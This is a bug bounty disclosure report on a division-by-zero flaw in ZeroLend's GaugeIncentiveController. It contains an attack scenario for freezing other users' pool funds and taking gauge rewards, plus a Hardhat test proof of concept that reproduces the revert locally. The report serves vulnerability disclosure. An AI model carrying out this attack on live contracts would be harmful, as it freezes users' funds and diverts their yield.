29052 - [SC - Medium] Pool funds could be locked due to Division by zero
Submitted on Mar 5th 2024 at 22:04:05 UTC by @DuckAstronomer for Boost | ZeroLend
Report ID: #29052
Report type: Smart Contract
Report severity: Medium
Target: https://github.com/zerolend/governance
Impacts:
Theft of unclaimed yield
Temporary freezing of funds for at least 1 hour
Description
Vulnerability Details
Affected asset: governance-main/contracts/voter/gauge/GaugeIncentiveController.sol
The rewardPerToken()
function in GaugeIncentiveController
verifies totalSupply
for zero, but utilizes derivedSupply
for calculation of the rewardPerToken value. If derivedSupply
equals zero, rewardPerToken()
reverts due to division by zero.
https://github.com/zerolend/governance/blob/main/contracts/voter/gauge/GaugeIncentiveController.sol#L48
function rewardPerToken(
IERC20 token
) public view override returns (uint256) {
if (totalSupply == 0) return rewardPerTokenStored[token];
// derivedSupply is used instead of totalSupply to modify for ve-BOOST
return
rewardPerTokenStored[token] +
(((lastTimeRewardApplicable(token) - lastUpdateTime[token]) *
rewardRate[token] *
PRECISION) / derivedSupply);
}
The handleAction()
function in GaugeIncentiveController
serves as a callback for AToken to invoke upon changes in the user's balance (such as minting or burning). Within handleAction()
, it initially triggers _updateReward()
, which subsequently calls rewardPerToken()
.
https://github.com/zerolend/governance/blob/main/contracts/voter/gauge/GaugeIncentiveController.sol#L87
https://github.com/zerolend/governance/blob/main/contracts/voter/gauge/GaugeIncentiveController.sol#L109
https://github.com/zerolend/governance/blob/main/contracts/voter/gauge/GaugeIncentiveController.sol#L117
In scenarios where totalSupply
is not equal to zero, and if derivedSupply
does equal zero, any alterations in AToken (e.g., minting or burning) will result in a revert. This effectively locks the user's funds.
The value of derivedSupply
is determined through governance-main/contracts/voter/eligibility/EligibilityCriteria.sol
.
https://github.com/zerolend/governance/blob/main/contracts/voter/gauge/GaugeIncentiveController.sol#L68
function derivedBalance(address account) public view returns (uint256) {
uint256 _balance = (balanceOf[account] *
oracle.getAssetPrice(oracleAsset)) / 1e8;
if (_balance == 0) return 0;
uint256 multiplierE18 = eligibility.checkEligibility(account, _balance);
return (_balance * multiplierE18) / 1e18;
}
For instance, to qualify, a user must mint AToken and stake over 5% of ZeroLend tokens. https://github.com/zerolend/governance/blob/main/contracts/voter/eligibility/EligibilityCriteria.sol#L50
In summary, an attacker could block other users' funds and receive rewards from the gauge by being the first to invoke handleAction()
or updateUser()
.
The attack scenario is the following:
A pool is assigned a new gauge (gauge change occurs). At that point
totalSupply
andderivedSupply
are 0.The attacker becomes the first AToken minter after gauge change (or just calls
updateUser(address who)
).Attacker doesn't stake 5% of ZeroLend, so
totalSupply > 0
, butderivedSupply == 0
.Subsequent AToken actions within the pool will trigger reverts.
Consequently, the attacker locks users' funds in the pool and earns rewards from the gauge as the sole staker.
Proof of Concept
To run the Poc:
Put the code from below to the
governance-main/test/Gauge.poc.2.ts
file.Generate random private key.
Modify
governance-main/contracts/voter/eligibility/MockEligibilityCriteria.sol
file so thecheckEligibility()
function returns 0 instead of 1e18.Issue the following command:
WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/Gauge.poc.2.ts --config hardhat.config.ts --network hardhat
PoC scenario:
Ant is the first who mints AToken in a pool with new Gauge.
Ant isn't eligible for reward, but it has AToken amount. So,
totalSupply > 0
, butderivedSupply == 0
.Whale aren't able to mint AToken due to division by zero panic.
import { expect } from "chai";
import { loadFixture } from "@nomicfoundation/hardhat-network-helpers";
import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
import {
GaugeIncentiveController,
OmnichainStaking,
Pool,
PoolVoter,
StakingBonus,
TestnetERC20,
VestedZeroNFT,
ZeroLend,
} from "../typechain-types";
import { e18 } from "./fixtures/utils";
import { deployVoters } from "./fixtures/voters";
import { ethers } from "hardhat";
import { time } from "@nomicfoundation/hardhat-network-helpers";
// Put inside governance-main/test/Gauge.poc.2.ts
// Change governance-main/contracts/voter/eligibility/MockEligibilityCriteria.sol
// to return 0 instead of 1e18 from checkEligibility()
// Run as:
// WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/Gauge.poc.2.ts --config hardhat.config.ts --network hardhat
describe.only("Immunefi Boost", () => {
let ant: SignerWithAddress;
let deployer: SignerWithAddress;
let now: number;
let omniStaking: OmnichainStaking;
let poolVoter: PoolVoter;
let reserve: TestnetERC20;
let stakingBonus: StakingBonus;
let vest: VestedZeroNFT;
let pool: Pool;
let aTokenGauge: GaugeIncentiveController;
let zero: ZeroLend;
let owner: SignerWithAddress;
let whale: SignerWithAddress;
beforeEach(async () => {
const deployment = await loadFixture(deployVoters);
ant = deployment.ant;
now = Math.floor(Date.now() / 1000);
omniStaking = deployment.governance.omnichainStaking;
poolVoter = deployment.poolVoter;
reserve = deployment.lending.erc20;
stakingBonus = deployment.governance.stakingBonus;
vest = deployment.governance.vestedZeroNFT;
zero = deployment.governance.zero;
pool = deployment.lending.pool;
aTokenGauge = deployment.aTokenGauge;
owner = deployment.governance.lending.owner;
deployer = deployment.governance.deployer;
whale = deployment.governance.whale;
// deployer should be able to mint a nft for another user
await vest.mint(
ant.address,
e18 * 20n, // 20 ZERO linear vesting
0, // 0 ZERO upfront
1000, // linear duration - 1000 seconds
0, // cliff duration - 0 seconds
now + 1000, // unlock date
true, // penalty -> false
0
);
// stake nft on behalf of the ant
await vest
.connect(ant)
["safeTransferFrom(address,address,uint256)"](
ant.address,
stakingBonus.target,
1
);
// there should now be some voting power for the user to play with
// ant voting power is ~ 19 ether
expect(await omniStaking.balanceOf(ant.address)).lessThan(e18 * 20n);
});
it("Ant blocks AToken usage and gets all reward in Gauge", async function () {
let gaugeToken = await aTokenGauge.aToken();
let atoken = await ethers.getContractAt("AToken", gaugeToken);
// Mint 1 WETH to ant
await reserve.connect(owner)["mint(address,uint256)"](ant.address, 1n * e18);
expect(await reserve.balanceOf(ant.address)).eq(1n * e18);
// Mint 100 WETH to whale
await reserve.connect(owner)["mint(address,uint256)"](whale.address, 100n * e18);
expect(await reserve.balanceOf(whale.address)).eq(100n * e18);
// Distribute reward, 1000 ZeroLend
await zero.connect(deployer).approve(aTokenGauge.target, 1000n * e18);
await aTokenGauge.connect(deployer).notifyRewardAmount(zero.target, 1000n * e18);
// + 1 Hour
await time.increase(3600);
// Mint AToken from WETH for ant
await reserve.connect(ant).approve(pool.target, 1n * e18);
await pool.connect(ant).supply(reserve.target, 1n * e18, ant.address, 0n);
expect(await atoken.balanceOf(ant.address)).greaterThan(0);
// Mint AToken from WETH for whale ...
// But it reverts due to division by 0
// https://github.com/zerolend/governance/blob/main/contracts/voter/gauge/GaugeIncentiveController.sol#L48
await reserve.connect(whale).approve(pool.target, 100n * e18);
await expect(
pool.connect(whale).supply(reserve.target, 100n * e18, whale.address, 0n)
).to.be.revertedWithPanic(0x12); // division by zero panic
});
});
Last updated
Was this helpful?